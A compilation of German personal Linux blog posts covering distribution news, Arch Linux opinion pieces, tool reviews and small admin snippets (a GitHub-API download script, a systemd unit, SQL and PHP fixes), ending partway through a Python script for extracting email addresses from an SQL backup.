Nehmen wir als Beispiel mal den Editor micro. Bei diesem Projekt werden Nightly Builds für x Architekturen angeboten. Für ARM ist zum Beispiel gerade die Datei "micro-1.3.2-10-linux-arm.tar.gz" aktuell. Morgen vielleicht "micro-1.3.2-11-linux-arm.tar.gz" oder ""micro-1.3.2-14-linux-arm.tar.gz". Hier sehe ich zwei Lösungen. Entweder man läd die Datei manuell herunter oder man automatisiert den Download. Ich bevorzuge eindeutig Möglichkeit Nummer 2. Allerdings war mal wieder die Lösung das Problem. Mittels curl, jq und wget konnte ich das Problem aber lösen. Folgendes Script ist dabei entstanden.

#!/bin/sh
arch=linux-arm
link=$(curl -s https://api.github.com/repos/zyedidia/micro/releases/tags/nightly | jq -r ".assets[] | select(.name | test(\"${arch}\")) |  .browser_download_url")
wget $link

In Zeile zwei gibt man die gewünschte Architektur an. Eine Übersicht der vorhandenen Möglichkeiten findet man unter https://github.com/zyedidia/micro/releases.

Zeile drei greift auf die API von Github zu und mittels jq wird der gewünschte Downloadlink erstellt.

Zeile 4 läd die gewünschte Datei herunter. 

Vermutlich gibt es einfachere und bessere Lösungen. Aber das obige Script funktioniert und reicht mir für den Hausgebrauch.


Mageia 6 wurde veröffentlicht

Wenn ich gefragt werde, mit welcher Distribution man anfangen sollte, lautet meine Antwort in der Regel nicht Ubuntu sondern Mageia. Version 6 wurde heute veröffentlicht.

Die neue Version setzt nun auf die LTS-Version 5.8 von KDE Plasma und auf den LTS-Kernel 4.9. Zum bisherigen Paketmanager urpmi hat nun DNF 2 einzug gehalten. Weiterhin wurde auf ARMv5 und ARMv7 portiert, so dass man nun Mageia z. B. auf einem Raspberry Pi installieren kann.

Eine detaillierte Zusammenfassung der Änderungen / Neuerungen findet man im offiziellen Wiki. Ein Download der Iso-Dateien ist über die offizielle Seite möglich.


Der Mythos Arch Linux

Gestern gab es in einem MUC mal wieder ein Diskussion zum Thema Arch Linux. Und es kam wie es kommen musste. Arch wäre äußerst schwer zu installieren und daher nur für Profis geeignet. Und nach jedem Update geht erst mal gar nichts mehr. Usw.

Ich. Kann. Es. Nicht. Mehr. Hören.

Ja die Installation von Arch ist aufwändiger als bei so manch anderer Distribution. Aber wer lesen kann und halbwegs technisch versiert ist, bekommt die Installation dank der Anleitung für Einsteiger auf die Reihe. Klemmt es mal wirklich, hilft die Gemeinschaft rund um Arch auch gerne weiter. Man muss "nur" die richtigen Fragen stellen.

Wenn man sich die Aussagen von dem einen oder anderen anhört, knallt es ja bei jedem Update weil Arch ja bleeding edge ist. Das ist nur leider beides falsch. Unter Arch werden hauptsächlich Programmversionen angeboten die von den Entwicklern als stabil gekennzeichnet wurden. Und auch Arch Linux verfügt über Testing-Paketquellen. Hier liegen manche Pakete sogar länger als bei anderen Distributionen. Verglichen mit Mandrake / Mandriva habe ich mit Arch unterm Strich auch weniger Probleme. Was vermutlich auch daran liegt, das die Arch-Pakete möglichst "vanilla" (also ohne Änderung seitens der Distribution) veröffentlicht werden. Im Grunde gibt es nur eine Sache zu beachten. Vor einem Update sollte man unter https://www.archlinux.org/news/ nachsehen ob die Entwickler etwas veröffentlicht haben, das einen selbst betrifft. Und wenn ja, es beachten. Sonst kann man in der Tat in Teufels Küche kommen.

Kommen wir zu einem Mythos den ich besondern gerne habe. Arch ist pauschal leichtgewichtig. Für eine Grundinstallation muss man die Paketgruppe base installieren. Diese hat aktuell 54 Pakete. Das ist in der Tat überschaubar und dürfte in der heutigen Zeit als leicht durchgehen. Wobei auch die eine oder andere Minimalinstallation einer andere Distribution leichter sein wird. Aber wer benutzt Arch wirklich nur in der Minimalinstallation? Also ich nicht. Bei mir kommt erst noch die Gruppe base-devel hinzu. Macht noch einmal 26 Pakete. Dann folgt Xorg und KDE-Plasma. Jetzt dürfte man sich langsam von leichtgewichtig entfernt haben... Aber es geht noch weiter. Vivaldi, Sublime Text, Filezilla, Claws Mail, Moneyplex, Double Commander und noch x andere Sachen habe ich auf meinem Hauptrechner installiert. Insgesamt hat / somit 15,8 GB. Mich juckt das bei mehreren Terabyte Speicherplatz und 16 GB RAM jetzt nicht wirklich. Aber als leichtgewichtig würde ich das jetzt nicht bezeichnen wollen.

Kurz gesagt ist Arch Linux bei weitem keine Distribution die sich nur an Linux-Gurus mit einer 500-MB-Festplatte richtet. Eigentlich ist Arch Linux auch nur eine Distribution unter vielen. Für mich ist sie aber auch zwei Gründen meine Wahl. Trotz aktueller Pakete sehr stabil und das Wiki dürfte eines der besten sein. Ich kenne zum Beispiel den einen oder anderen Linuxer der Arch Linux nicht nutzt aber trotzdem im Wiki bei Problemen sucht.


Workshop zum Erstellen von PKGBUILD-Dateien unter Arch

Am Sonntag 04.06.17 findet ab 19 Uhr ein Workshop zum Thema PKGBUILD-Dateien unter Arch Linux statt. Dieser soll ungefähr zwei Stundne dauern und wird von Eli Schwartz, einem aktiven Mitglied der Arch-Gemeinschaft, geleitet.

Thema des Workshops wird der grundlegende Aufbau von PKGBUILD-Dateien sein. Also wie man eine solche Datei "liest", wie man sie anpasst, usw. Auf dem Plan stehen aber auch noch andere Themen wie die häufigsten Fehler die man beim Erstellen machen kann und wie man diese vermeidet. Oder wie man selbst gemachte PKGBUILD-Dateien in AUR Dritten zur Verfügung stellt.

Die Veranstaltung findet im IRC-Kanal #archlinux-classroom (irc.freenode.net) statt. Teilnehmen kann jeder, der sich an den Code of conduct hält.


Systemd-freie Distribution Devuan 1.0.0 veröffentlicht

Darauf habe ich seit Jahren gewartet. Die Distribution Devuan, welche ohne systemd auskommt, wurde in Version 1.0.0 veröffentlicht und basiert auf Debian Jessie. Endlich hat die laute Minderheit, die systemd nicht leiden kann, ein neues Zuhause.

Versteht mich nicht falsch, systemd ist sicherlich nicht der heilige Gral. Mir ging systemd auch schon auf die nerven, weil bestimmte Programme beim Herunterfahren des Rechners Probleme gemacht haben und systemd daher mal 90 Sekunden Wartezeit eingelegt hat. Diese lässt sich zwar einstellen, aber so richtig wohl war mir beim Heruntersetzen auf beispielsweise 10 Sekunden nie. Und an manchen Stellen mag systemd auch pauschal nicht das Gelbe vom Ei sein. Aber Sysvinit ist in der heutigen Zeit einfach noch weniger gelb. Alleine das Init-Script von Apache erzeugt bei mir heute noch Albträume.

Aber der Artikel soll jetzt kein Flame in Richtung Sysvinit werden. Genauso wenig wie es ein Hohelied auf systemd sein soll. Ich, als jemand der mit systemd unterm Strich zufrieden ist und der auch durch systemd mehr über den Bootprozess gelernt hat, wünsche Devuan wirklich alles Gute. Ernsthaft. Zum einen weil es zeigt, dass man in bestimmten Bereichen unter Linux noch die Wahl hat. Und zum anderen weil dann vielleicht endlich mal das Geflame ohne Belege Richtung systemd weniger wird. Dies bitte nicht mit konstruktiver Kritik an systemd verwechseln. Diese ist, zumindest für mich, weiterhin willkommen. Aber diese "Arguemente" die jahrelang gegen systemd angeführt werden, die man in wenigen Sekunden widerlegen kann, nerven einfach nur.


Endlich mehr Bandbreite - Aber welche Hardware?

Heute hat sich mal wieder gezeigt, dass man mich noch überraschen kann. Als ich heute von der Arbeit heimgekommen bin, war unser Dorf einige einzige Baustelle und der Gehsteig wurde scheinbar von einem Ende bis zum anderen Ende aufgegraben.

Kurzerhand habe ich mir einen der Bauarbeiter geschnappt und mal vorsichtig nachgefragt, was sie den treiben. Als Antwort kam, dass Leerrohre für den Breitbandausbau verlegt werden. Hier muss ich wohl ziemlich grenzdebil gegrinst haben, da mich der Bauarbeiter ziemlich komisch angesehen hat. Egal. Mit etwas Glück bekomme ich als bald™ 30 Mbit. Preiset den Herren, ein Spiele-Download bei Steam dauert dann keine 12 Stunden oder mehr.

Allerdings stelle ich mir jetzt eine Frage. Und daher veröffentliche ich den Artikel auch auf osbn. Bisher kommt hier ISDN und ein DSL-Router mit einer alternativen Open-Source-Software wie Lede, Open- bzw. DD-WRT zum Einsatz. ISDN fällt demnächst weg und den Router kann ich auch mülleimern. Was mir vorschwebt wäre nun ein neuer Router an dem man ein ISDN- / analoges DECT-Telefon anschließen kann und dermit einer freien Software läuft mit der ich relativ flexibel bin (aktuell läuft hier z. B. ein Radius-Server und ein DNS-Resolver auf dem Router). Hat hier jemand eine Idee? Ansonsten wird es wohl auf eine Fritzbox hinauslaufen und ich muss die ganzen Spielereien auf einen Raspberry Pi auslagern. Wäre jetzt auch kein Drama aber alles unter einem Dach wäre mir hier lieber. Zumal hier schon ein paar Raspberrys laufen...


OSTIF und Quarkslab haben das Ergebnis des Audits von OpenVPN 2.4.0 veröffentlicht

OSTIF und Quarkslab habe OpenVPN 2.4.0 einem Audit unterzogen. Die Ergebnisse wurden nun veröffentlicht. Gefunden wurde 1 kritische und 1 mittlere Schwachstelle. Weiterhin gibt es 5 verbesserungswürdige Bereiche.

Die kritische Schwachstelle ist unter CVE-2017-7478 und die mittlere unter CVE-2017-7479 protokolliert. Über diese Schwachstellen kann ein Angriff mittels DoS durchgeführt werden, der zu einem Ausnahmefehler führt und die Prozessausführung beendet.

OpenVPN bietet für die beiden Lücken bereits aktualisierte Versionen an, welche schon bei der einen oder anderen Distribution verteilt werden. Eine genauere Zusammenfassung sowie den gesamten Audit findet man auf der Seite von OSTIF.


Ubuntu wechselt die Benutzeroberfläche und die Welt geht unter

Ubuntu stampft also Unity ein und wechselt auf Gnome. Das sollte inzwischen eigentlich fast jeder mitgekommen haben. Aber was soll der ganze Aufriss? Die Erde dreht sich auch morgen noch und das Ende von Linux ist dadurch auch nicht eingeläutet.

Aber trotzdem wird das Thema in den letzten Tagen wie die Sau durchs Dorf getrieben (jep, ich renne gerade auch hinter der Sau her) und geforkt bis der Arzt kommt. Scheinbar bin ich einer der Wenigen, die den Umstieg auf Gnome vorsichtig optimistisch sehen. Und das obwohl mir Gnome komplett am Podex vorbeigeht. Genauso wie Unity, Canonical und Ubuntu sowie deren Forks. Scheinbar ist endlich mal Schluss mit den Alleingängen von Canonical (Mir, Unity usw.). Unity zum Beispiel braucht einen ziemlichen Aufwand um überhaupt abseits von Ubuntu (oder einem Fork) nutzbar zu sein. Ich möchte nicht wissen wie viele Stunden die Leute hinter Unity-For-Arch hier investiert haben. 

Zukünftig soll nun Gnome die Wahl sein. Eine Desktop-Umgebung die auch von einigen anderen Distributionen abseits von Ubuntu eingesetzt wird. Sollte sich hier Canonical positiv einbringen, profitieren dann auch andere von diesen Änderungen / Neuerungen. Sofern diese überhaupt Einzug in Gnome halten. Gefühlt (da ich Gnome ja nicht selbst nutzt) werden ja lieber Funktionen entfernt statt hinzugefügt. Aber das ist ein anderes Thema.

Von daher stelle ich mir noch einmal die Frage, was soll der Aufriss?

Und selbst wenn mit der Abkehr von Unity das Ende von Ubuntu eingeläutet wurde (wovon ich nicht ausgehe) dann bleiben doch immer noch andere Distributionen wie OpenSuse oder Mageia übrig. Letztere, damals noch als Mandrake bzw. Mandriva bekannt, war schon immer sehr einsteigerfreundlich. Und das Jahre bevor es Ubuntu überhaupt gegeben hat. Leider war das Unternehmen dahinter nicht in der Lage soviel Marketing zu betreiben wie Canonical.

Von daher... Die Welt wird sich auch ohne Unity noch drehen. Egal ob nun mit Gnome, XFCE, LXQT oder KDE.


Raspberry Pi - Gefälschte Echtzeituhr

Da die Raspberry Pi nicht mit einer Echtzeituhr ausgerüstet sind, stellt dich das Datum nach jedem Reboot erst einmal auf den 01.01.1970 00:00 Uhr. 

Wer seinem Raspberry kein RTC-Modul (z. B. DS3231) spendieren möchte und es mit der Zeit nicht ganz so genau nimmt, kann schummeln und sich fake-hwclock installieren. Hiermit wird die aktuelle Uhrzeit des Raspberry Pi periodisch sowie beim Herunterfahren in eine Datei gespeichert und beim Booten wiederhergestellt. In Verbindung mit einem NTP-Client lässt sich so die Uhrzeit des Raspberry Pi durchgehend halbwegs aktuell halten.


Benutzer von nano können sich nun in den elitären Olymp erheben

Wer nano als Editor benutzt braucht sich zukünftig keine dummen Sprüche überheblicher Linuxer mehr anhören. Ab sofort können Nutzer von nano nun Neovim einsetzen und sich somit in dem Olymp erheben und sich zu dem elitären Teil der Vim-Nutzer gesellen.

Um Teil der elitären Gesellschaft zu werden, installiert man sich einfach Neovim sowie vim-nano und ruft Neovim mittels "nvim -u nano.vim" auf. Und schon steht Neovim in der gewohnten Optik von nano zur Verfügung.

Dank des Entwicklers Nimesh Ghelani können nun auch Nutzer von nano mit stolz geschwellter Brust das Haus verlassen und müssen sich nicht mehr in dunklen Ecken verbergen.


Wie Probleme zwischen sddm und den Nvidia-Treibern mein Problem mit Steam gelöst haben

Vor ein paar Wochen wurden die Nvidia-Treiber unter Arch auf Version 378.13 aktualisiert. Eine Installation und ein Neustart hatten immer einen black Screen auf beiden Monitoren zur Folge. Journalctl war der Meinung dass sddm nichts mit der OpenGL-Version anfangen kann (Unrecognized OpenGL Version).

Da alle Suchergebnisse, die sich auf "Unrecognized OpenGL Version" beziehen, absolut nichts gebracht haben, habe ich ein Downgrade der Pakete nvidia-dkms sowie nvidia-utils gewagt. Hierzu habe ich das Tool downgrade aus dem AUR verwendet und beide Pakete in Version 375.26-2 installiert. Und siehe da, sddm hat wieder funktioniert und ich konnte mich normal an KDE Plasma anmelden.

Am Wochenende hatte ich jetzt mal etwas Zeit und ich habe mich auf das Problem gestürzt, da man Downgrades unter Arch eigentlich vermeiden sollte. Da Version 375.26-2 ja funktioniert ging ich davon aus, dass Version 378.13 das Problem ist. Und ich sollte mich irren. Nach x Fehlversuchen habe ich wieder die alte, funktionierende Version der Nvidia-Treiber installiert und wollte fürs erste erst einmal aufgeben. Irgendwie bin ich dann noch auf die Idee gekommen mir glxinfo aus dem AUR zu installieren. Nachdem ich dann glxinfo | grep OpenGL ausgeführt habe, ist mir mein Gesicht mal so richtig eingeschlafen. Eigentlich hatte ich erwartet, dass die Ausgabe etwas mit Nvidia ausspuckt. Statt dessen wurde ich mit Mesa konfrontiert. Um es mal mit dem fränkischen Fragewort auszudrücken... Hä?

Böses ahnend habe ich dann mal nachgeschaut, ob die Pakete nvidia-libgl und lib32-nvidia-libgl installiert sind. Natürlich nicht. Aber warum nicht? Ich bin mir absolut sicher, dass ich diese Pakete installiert hatte. Und ich habe absolut keinen Schimmer warum ich diese deinstalliert haben sollte. Hier wären wir dann wieder beim fränkischen Fragewort mit zwei Buchstaben.

Nachdem ich dann beide Pakete installiert und die Nvidia-Treiber aktualisiert hatte, hatte auch sddm wieder ein Einsehen und der Rechner konnte wie gewohnt gestartet werden.

Einen schönen Nebeneffekt hat das Ganze auch noch. Vor einigen Wochen hatte ich nach einem Update von Steam festgestellt, dass alle Spiele total ruckeln und quasi unspielbar waren. Da ich aktuell fast nur Overwatch bzw. Quake Live unter Windows spiele, habe ich mich damit aber nicht befasst. Aber wenigstens hatte ich am Wochenende mal einen halbwegs vorzeigbaren Geistesblitz und habe 1 und 1 zusammengezählt. Nach mehreren Runden CS:GO war ich mir sicher, dass das Problem mit Steam ebenfalls an den fehlenden libgl-Paketen lag.

Warum aber Version 375.26-2 funktioniert und wieso die libgl-Pakete bei mir nicht (mehr) installiert waren, wird wohl ein Rätsel bleiben. Allerdings haben auch einige andere Arch-Nutzer die sddm einsetzen mit den aktuellen Nvidia-Treibern einen Blackscreen. Vielleicht liegt das Problem dieses eine mal nicht auf meiner Seite...


Micro löst nano ab

ie Macht der Gewohnheit ist stark. Vor einiger Zeit habe ich angefangen verstärkt Sublime Text 3 als Editor zu nutzen. Das führt nun zu einem Konflikt mit nano.

Im Terminal nutze ich nämlich schon seit gefühlten Ewigkeiten den Editor nano. Dieser hat allerdings komplett andere Shortcuts als Sublime Text. Umso länger und öfter ich Sublime Text nutze umso öfters will ich dessen Shortcuts auch in nano nutzen. Da Faulheit bekanntlich siegt, habe ich mich nach einer Alternative für nano umgesehen. Gefunden habe ich micro. Dieser Editor bietet folgende Funktionen.

- Shortcuts wie bei Sublime Text (Strg+N, Strg+S, Strg+Q usw.)
- Syntax Highlight für 90 Sprachen
- Tabs und Tiling - Plugin (mittels Lua)
- Macros - Usw.

Unterm Strich ist micro für mich ein lohnenswerte Alternative zu nano. Laut dem Bugtracker soll micro aber noch nicht ganz so fix sein, wenn es um größere Daten (z. B. 20 MB groß) geht. Da ich aber in der Regel nicht so große Dateien bearbeite, kann ich dazu nichts sagen.


Trailing Slash in einer SQLite-Datenbank entfernen

Sehr langsam aber sicher schreitet mein Umstieg von Wordpress auf Bolt CMS voran. Eine weitere Hürde habe ich eben überwunden. Den Import vorhandener Kommentare in ISSO Comments.

Die Zuordnung der Kommentare zu den Artikeln erfolgt über den Titel des Artikels. So ist beispielsweise in der Isso-Datenbank /archlinux-org-schafft-beginners-guide-ab/ gespeichert. Allerdings wurde beim betreffenden Artikel keine Kommentare angezeigt. Wie so oft liegt der Fehler im Detail...

Bolt CMS entfernt automatisch den Slash (trailing slash) am Ende eines Links. Somit lautet der Link unter Bolt dann https://fryboyter.de/archlinux-org-schafft-beginners-guide-ab. So ohne weiteres lässt sich dies wohl auch nicht abstellen, da die Funktion in einer der Core-Dateien vorhanden ist. Und da das eben ein anderer Link ist, zeigt Isso Comments somit auch nichts an. Ich habe kurzerhand einfach den trailing slash auch in der SQLite-Datenbank von Isso Comments entfernt. Hierzu war nur folgender, kurzer Befehl nötig.

UPDATE threads SET uri = rtrim(uri, '/')

Hier wird einfach beim Titel der Slash rechts am Ende entfernt. Und schon tauchen auch die Kommentare unter den Artikeln auf.


Arch Linux möchte sich von i686 trennen

Laut einem Thread in der Mailing List arch-dev-public besiegeln die Entwickler wohl langsam das Ende der 32Bit-Version von Arch Linux.

Bartłomiej Piotrowski hat vorgeschlagen, dass die Iso-Datei, die im Februar veröffentlicht wird, die letzte sein wird mit der man die i868-Version von Arch installieren kann. Darauf soll dann eine Galgenfrist von 9 Monaten folgen in der es noch Updates für die betreffenden Pakete geben soll. Ab November 2017 werden dann die Pakete nicht mehr betreut und i868 ist unter Arch Linux quasi tot.

Er macht aber auch den Vorschlag, dass die Gemeinschaft um Arch die Betreuung mit Hilfe der 32Bit-Pakete übernehmen könnte. Ob und wie dies ggf. ablaufen soll, steht noch nicht fest.


Ripgrep - grep auf Steroide

Grep ist wohl das Standardtool um den Inhalt von Dateien zu durchsuchen. Allerdings braucht man oft sehr viele Geduld. Für Ungeduldige gibt es ripgrep.

Ripgrep ist eine Alternative zu grep, welche in Rust geschrieben ist und die in vielen Fällen deutlich schneller zu einem Ergebnis kommt als grep. Bei ersten Tests konnte ich deutliche Unterschiede feststellen. Ich habe spaßeshalber einmal das ganze Homeverzeichnis meines Notebooks durchsucht.

grep -Ir Rybka /home/XYZ
/home/XYZ/Downloads/bundle.ini:[Rybka 2.2 32 bit]
/home/XYZ/Downloads/bundle.ini:ExeName=Rybka v2.2n2.mp.w32.exe
/home/XYZ/Downloads/bundle.ini:RelPath=\Engines\Rybka
/home/XYZ/Downloads/bundle.ini:[Rybka 2.2 64 bit]
/home/XYZ/Downloads/bundle.ini:ExeName=Rybka v2.2n2.mp.x64.exe
/home/XYZ/Downloads/bundle.ini:RelPath=\Engines\Rybka
/home/XYZ/Downloads/engines.ini:Rybka=Vasik Rajlich;USA
grep -Ir Rybka /home/XYZ 0,61s user 4,36s system 18% cpu 27,098 total
time rg -uu Rybka /home/XYZ
/home/XYZ/bundle.ini
23:[Rybka 2.2 32 bit]
24:ExeName=Rybka v2.2n2.mp.w32.exe
26:RelPath=\Engines\Rybka
32:[Rybka 2.2 64 bit]
33:ExeName=Rybka v2.2n2.mp.x64.exe
35:RelPath=\Engines\Rybka

/home/XYZ/Downloads/engines.ini
2666:Rybka=Vasik Rajlich;USA
rg -uu Rybka /home/XYZ 0,44s user 0,52s system 375% cpu 0,256 total

Wie man sieht, ist ripgrep hier leicht schneller. Andrew Gallant, der Entwickler von ripgrep, hat auf seinem Blog einen ausführlichen Artikel veröffentlicht, in dem neben diversen anderen Benchmarks genauer auf ripgrep eingegangen wird. Unter anderem auch für wen ripgrep eher nicht geeignet ist.


Discord steht nun auch für Linux bereit

Bei Discord handelt es sich um einen kostenlosen Client für Text- und Sprach-Chats. Zum Einsatz kommt das Programm hauptsächlich bei Gamern als Alternative zu Teamspeak. Heute wurde offiziell die erste Version für Linux veröffentlicht.

Auf der offiziellen Seite steht die Linuxversion als Deb-Paket sowie als Tar.gz-Archiv zum Download bereit. Da die Software allerdings nicht quelloffen ist, wird sie für den einen oder anderen nicht in Frage kommen. Persönlich wäre mir zum Beispiel Mumble auch lieber, aber bei vielen Spielen ist Discord inzwischen zum Standard geworden und bietet auch mehr Funktionen als so manche quelloffene Lösung.

Nutzer von Arch finden Discord im AUR.


Tastaturbeleuchtung eines Thinkpads automatisch aktivieren

Mir wäre es ganz lieb, wenn sich mein X230 Notebook den Zustand das Tastaturbeleuchtung merken würde und dieser Zustand nach einem Reboot auch wiederherstellt wird. Klappt aber nicht. Daher habe ich nachgeholfen.

Kurzerhand habe ich einfach eine Service-Datei für systemd erstellt. Ich habe sie mal backlight.service genannt.

[Unit]
Description=Tastaturbeleuchtung automatisch aktivieren

[Service]
Type=simple
ExecStart=/bin/bash -c 'echo 1 > /sys/devices/platform/thinkpad_acpi/leds/tpacpi::kbd_backlight/brightness'

[Install]
WantedBy=multi-user.target

Interessant ist hier im Grunde genommen nur die ExecStart-Zeile. Hier wir der Befehl ausgeführt, der die Tastaturbeleuchtung auf Stufe 1 aktiviert (Stufe 2 wäre die stärkste Beleuchtung und Stufe 3 würde noch die Beleuchtung im Rahmen des Displays hinzuschalten). Klappt soweit auch. Da das Notebook verschlüsselt ist, wäre es mir auch recht, wenn die Tastatur schon bei der Eingabe des Passworts klappen würde. Scheinbar gibt es aber kein passendes Target hierfür.


Fryboyter - Hinweis wegen Freischalten von Kommentaren

Ab und zu fragen bei mir Leute nach, wo denn ihre kürzlich geschriebenen Kommentare abgeblieben sind, da diese nicht sofort angezeigt werden. Dies liegt bei mir daran, dass alle Kommentare erst einmal von mir freigeschaltet werden (oder auch nicht). Einen Hinweis hierzu gab es bisher allerdings nicht.

Gestern habe ich mal wieder eine Nachfrage wegen eines nicht angezeigten Kommentars erhalten. Da ich gerade Urlaub habe, habe ich mich mal ein paar Minuten damit beschäftigt und die functions.php meines Wordpress-Themes erweitert. Wenn nun ein Kommentar abgeschickt wird, wird dieser für den Ersteller mit einem Hinweis angezeigt.

Unterm Strich ist diese Änderung kein Hexenwerk (hier nur der betreffende Codeteil der erstellen Funktion):

<?php if ( $comment->comment_approved == '0' ) : ?>
    <em class="comment-approved"><?php _e( 'Your comment is awaiting moderation.', 'fryboyter' ); ?></em>
    <br />
<?php endif; ?>

Im Grunde wird nur geprüft ob in der Datenbank beim betreffenden Kommentar comment_approved den Wert 0 hat. Wenn ja, wird der Hinweis angezeigt. Dieser ist hier in Englisch angegeben. Das _e bewirkt in dem Fall eine automatische Übersetzung. In diesem Fall in die deutsche Sprache.


FSearch - Schnell Dateien suchen

Dem einen oder anderen Windowsnutzer wird Everything ein Begriff sein. Mit diesem Tool lassen sich sehr schnell Dateien finden. Everything nutzt hierzu die Metadaten des Master File Table von NTFS. Und was ist mit Linux?

Lösungen wie Baloo habe ich immer links liegen lassen, da mir die Indexierung zu lange dauert und zu viele Resourcen verbraten werden. Daher habe ich bisher immer auf die langsameren Lösungen wie find zurückgegriffen. Heute wurde ich auf FSearch aufmerksam. Hierbei handelt es sich um ein GTK+3-Programm, welches aktuell noch Alpha-Status hat. Der Entwickler will mit FSearch eine Linux-Alternative zu Everything schaffen.

Und was soll ich sagen? Bisher bin ich schwer begeistert. Nach dem ersten Start gibt man die Verzeichnisse an, welche bei der Suche berücksichtigt werden sollen. Bei meinem ersten Test habe ich das Homeverzeichnis meines Notebooks angeben. Eigentlich habe ich erwartet, dass das Programm eine gewisse Zeit arbeiten wird. Hat es aber nicht. Innerhalb einer Sekunde (geschätzt) wurde mir angezeigt, dass 56153 Einträge bei der Suche berücksichtigt werden. Eine richtige Indexierung war das wohl nicht. Trotzdem hat es mich interessiert wie schnell eine Datei gefunden wird. Auf dem Rechner liegen einige Dateien deren Namen ich auswendig kenne in einem ziemlich verschachtelten Verzeichnisbaum. Das ideale Ziel. Ich habe hier bewusst nur einen Teil des Namen bei der Suche angegeben (also beispielsweise wenn der Dateiname HundKatzeMaus.sql lautet habe ich nach Katze gesucht). Da das Tool bereits beim Tippen anfängt zu suchen wurden mir die Treffer quasi sofort angezeigt. Ich will mich jetzt nicht zu weit aus dem Fenster lehnen aber FSearch fühlt sich sogar schneller als Everything an. Holy Cow.

Die Suche funktioniert zudem auch mittels Wildcards und RegEx und sollte daher eigentlich alle Fälle abdecken. Leider gibt es, zumindest derzeit, keine Version für die Komandozeile. Aber auf Rechnern mit grafischer Oberfläche werde ich FSearch sicherlich öfters nutzen.


KISS Ebook Bibliothek / Dokument Schnellstarter

Der ngb-Boardie theSplit hat ein Programm gesucht, mit dem man viele PDF- sowie ein paar Ebook-Dateien in einer Bibliothek auflisten und einfach über ein bestimmtes Programm pro Format öffnen kann. Lösungen wie Calibre waren ihm zu überladen. Daher hat er nun angefangen eine eigene Lösung zu entwickeln.

Im ngb gibt es hierzu einen extra Thread in dem theSplit die Entwicklung des KISS Ebook Starter dokumentiert und in dem man sich an der Entwicklung einbringen kann. Zudem wurde der Sourcecode nun auf Github veröffentlicht. Veröffentlicht ist das Projekt unter der GPL 3.0.


Screenshots mit Vivaldi erstellen

Heute wurde eine neuer Snapshot des Browsers Vivaldi veröffentlicht, der meiner Meinung nach mal wieder erwähnenswert ist. Von nun an lassen sich Screenshots direkt mit dem Browser erstellen.

In der unteren Leiste findet man nun ein Kamerasymbol. Viele Tools / Plugins zum Erstellen von Screenshots sind allerdings nur in der Lage das aufzunehmen was auf dem Bildschirm angezeigt wird. Ist die Seite länger, so dass man scrollen muss, hat man hier oft ein Problem. Die Entwickler von Vivaldi haben diese Problematik berücksichtigt. Man kann entweder bestimmte Bereich aufnehmen die man mit der Maus markieren kann oder man kann Screenshots von kompletten Seiten anzeigen, egal wie lange diese sind. Als Dateiformat wird aktuell PNG oder JPEG angeboten.

Die erstellten Bilder landen bei mir (KDE Plasma) unter ~/Bilder/Vivaldi Caputures/. Was ich hier nicht so gut finde ist, dass die Dateien in Form wie dd4d8c5f-ac25-4ca6-ac83-b954fdb93cb2.png abgespeichert werden, ohne dass man hier einen Einfluss darauf hat. Ich vermute aber, dass sich hier zukünftig noch etwas ändern wird. Auch würde ich es begrüßen, wenn es einen einfacheren Editor wie bei Greenshot geben würde.


Arch Linux Security Tracker veröffentlicht

Oft fragt sich, welche Pakete, die man entweder installiert hat bzw. in den Paketquellen vorhanden sind, ein Sicherheitsproblem darstellen. Das Team hinter Arch Linux hat hier nun meiner Meinung nach einen Schritt in die richtige Richtung gemacht.

Unter https://security.archlinux.org/ wird eine Liste mit Paketen veröffentlicht, die aktuell ein Sicherheitsrisiko darstellen bzw. die kürzlich ein Update wegen eines Sicherheitsproblems erhalten haben. Einen Verweis auf die jeweiligen CVE, eventuelle Einträge in eigenen Bugtracker usw. findet man dort ebenfalls.


KDE Partition Manager 3.0

Wenn möglich nutze ich unter Linux KDE Plasma. Der dort enthaltene Partition Manager zum Ändern der Partitionen hatte bisher immer Probleme mit LUKS in Verbindung mit LVM (oder umgekehrt).

Gestern wurde nun Version 3.0 des KDE Partition Managers veröffentlicht. Über das Changelog habe ich mich in dem Fall mal wirklich gefreut, da ich viel mit LVM / LUKS arbeite und bisher immer auf alternative grafische Oberflächen ausgewichen bin oder die die Befehle per Hand eingegeben habe.

  • Both LVM on LUKS and LUKS on LVM configurations are now supported.
  • Creating new LVM Volume Groups, adding or removing LVM Physical Volumes from LVM VG.
  • Resizing LVM Logical Volumes.
  • Resizing LVM Physical Volumes even if they belong to LVM Volume Group (used extents will be moved out somewhere else)
  • Added support for online resize. Not all filesystems support this, e.g. ext4 can only be grown online while btrfs supports both growing and shrinking.
  • Fixed some crashes, Qt 5.7.1 is also recommended to fix crash (in Qt) on exit.
  • Better support for sudo. Now KDE Partition Manager declares required environmental variables when kdesu uses sudo (e.g. in Kubuntu or Neon), so the theming is no longer broken. Also environmental variables for Wayland are also fixed.


Arena Chess GUI für Linux veröffentlicht

Die bekannte grafische Benutzeroberfläche für diverse Schach Engines wurde vor einigen Tagen auch für Linux veröffentlicht. Bisher war hier noch der Weg über Wine nötig.

Vorinstalliert sind AICE, Alfil, Gaviota, Hermann, K2, Spike sowie Stockfish. Standardmäßig wird Herrmann genutzt. Im Vergleich mit der Windowsversion gibt es allerdings noch Einschränkungen. So wird derzeit Citrine nicht unterstützt. Autoplay sowie ICS und Ausdrucken sind aktuell ebenfalls nicht möglich.

In ersten Tests unter Arch Linux konnte ich keinerlei Probleme feststellen. Arena Chess GUI läuft hier absolut stabil. Wer also eine grafische Oberfläche für Chess Engines unter Linux sucht, sollte einmal einen Blick auf Arena Chess GUI werfen.


E-Mail-Adressen mit Python aus Datenbanksicherung auslesen

Ab und zu werde ich bei schwierigen Fällen um Hilfe gebeten. Wie zum Beispiel vor ein paar Tagen. Aufgabenstellung war, die E-Mail-Adressen in einer MySQL-Datenbank zu finden und die Treffer in eine Textdatei zu schreiben. Das Problem ist aber, dass die Datenbank nur als Datensicherung in Form einer SQL-Datei vorliegt und diese nicht eingespielt werden soll oder kann. Wäre auch zu einfach gewesen.

Da ich gerade als Fachliteratur das eBook von "Automate the Boring Stuff with Python" lese habe ich mich für Python als Lösung entschieden. Herausgekommen ist folgendes "Kunstwerk".

#!/usr/bin/env python
""" Emails in einer Datei finden und Treffer in eine neue Datei schreiben """

import os
import re

QUELLDATEI = input("Quelldatei angeben: ")
ZIELDATEI = input("Zieldatei angeben: ")

if os.path.exists(QUELLDATEI):
    DATEN = open(QUELLDATEI, 'r')
    EMAILDATEI = DATEN.read()
else:
    print("Datei nicht gefunden")
    raise SystemExit


